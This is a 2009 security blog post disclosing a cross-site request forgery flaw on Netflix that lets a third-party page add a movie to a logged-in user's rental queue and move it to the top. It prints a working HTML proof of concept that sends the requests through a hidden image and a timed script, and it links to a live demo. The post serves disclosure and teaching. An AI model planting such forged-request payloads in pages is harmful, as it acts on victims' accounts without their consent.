Friday, January 2, 2009

Netflix CSRF Revisited

A little more than two years ago, I notified Netflix about CSRF vulnerabilities on their web site. They fixed the most serious issues, such as using CSRF to change account name and shipping address or to change email address and password. I confirmed this with my testing at that time. However, I also noticed they had not implemented protection for using CSRF to add movies to a user's rental queue. I thought it strange and decided it was purposefully not done for business reasons.

I decided to revisit the issue this week by trying my original proof-of-concept CSRF attacks where any movie of an attacker's choice could be added to the top of the victim's queue. Sure enough, nothing has changed on that front. I think Netflix is risking reputation damage by not adding CSRF protection to the URL that invokes the "add movie" action.

Let's say you're logged into your Netflix account and are surfing around the Web. If you happen to encounter a page where someone has created HTML like the following, you will fall victim to a CSRF attack and have a potentially embarrassing movie arrive in your mailbox.

<html>
<head>
<script language="JavaScript" type="text/javascript">
function load_image2()
{
var img2 = new Image();
img2.src="http://www.netflix.com/MoveToTop?movieid=70110672&fromq=true";
}
</script>
</head>
<body>
<img src="http://www.netflix.com/JSON/AddToQueue?movieid=70110672" width="1" height="1" border="0">
<script>setTimeout( 'load_image2()', 2000 );</script>
</body>
</html>

Now, if you are a Netflix subscriber and want to see this sucker in action, here's your chance!

First, make sure you're logged into your Netflix account. Next, click the following link and then go check the top of your Netflix rental queue.

click here if you're logged into Netflix and want to fall victim to CSRF

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